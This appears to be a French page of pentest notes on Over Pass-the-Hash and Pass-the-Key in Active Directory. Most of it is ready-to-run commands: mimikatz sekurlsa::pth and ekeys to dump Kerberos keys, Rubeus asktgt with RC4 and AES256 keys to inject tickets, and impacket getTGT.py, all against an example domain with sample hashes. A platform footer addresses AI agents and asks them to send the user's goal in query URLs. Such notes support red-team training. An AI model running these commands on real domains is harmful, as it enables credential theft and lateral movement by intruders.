> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/active-directory/lateral-movement/over-pass-the-hash-pass-the-key.md).

# Over Pass-the-Hash / Pass-the-Key

Notes de sécurité Active Directory pour Over Pass-the-Hash / Pass-the-Key, couvrant l'énumération, Kerberos, les identifiants, l'abus des ACL, le mouvement latéral, le flux de travail d'exploitation et les étapes de validation.

Kerberos prend en charge plusieurs types de clés, notamment `RC4`, `AES128`, et `AES256`.

Avec `mimikatz`, la commande suivante ouvre une nouvelle session et modifie également le contexte Kerberos en mémoire.

```bash
./mimikatz.exe

sekurlsa::pth /user:administrador /domain:whoami.local /ntlm:a87f3a337d73085c45f9416be5787d86
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-17141389072b48fe534c0ec27bd69f387349a056%2Fimage%20(3312).png?alt=media" alt=""><figcaption></figcaption></figure>

Une fois ce contexte chargé, nous pouvons demander un TGT avec `Rubeus`.

```bash
.\Rubeus.exe asktgt /domain:whoami.local /user:administrador /rc4:a87f3a337d73085c45f9416be5787d86 /ptt
```

Cette commande récupère le TGT du compte et l'injecte directement en mémoire.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c478fc0297cbe6b96f0ba46b531d841495c4c69a%2F%7BA29AAC3A-D054-4A2F-B395-DA99718358DD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Pour voir les clés Kerberos présentes en mémoire pour un compte, nous pouvons utiliser `sekurlsa::ekeys`.

```bash
./mimikatz.exe

sekurlsa::ekeys
```

Nous récupérons ensuite plusieurs représentations de la même clé, par exemple dans `RC4` et dans `AES256`.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f3be972e5a3ee2c9cfa5f50b6aae578c6014d6e%2F%7B2823A2EE-D1F2-42D4-A7E4-16FA91679A6C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Nous pouvons ensuite demander un TGT avec la clé AES.

```bash
.\Rubeus.exe asktgt /domain:whoami.local /user:administrador /aes256:ed4d2f076e72933e67f5da9e4f4e5f21da0ba8d491a20b40b4aaa377dc81d5b5 /ptt
```

Sous Linux, la même opération peut être effectuée avec `getTGT.py`.

```bash
getTGT.py whoami.local/administrador -hashes :a87f3a337d73085c45f9416be5787d86 
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4118ca912e48b11a46ea47323ebb3b586123935c%2F%7B1157132A-AF5A-44C1-957C-0B5C7D660AE6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/active-directory/lateral-movement/over-pass-the-hash-pass-the-key.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
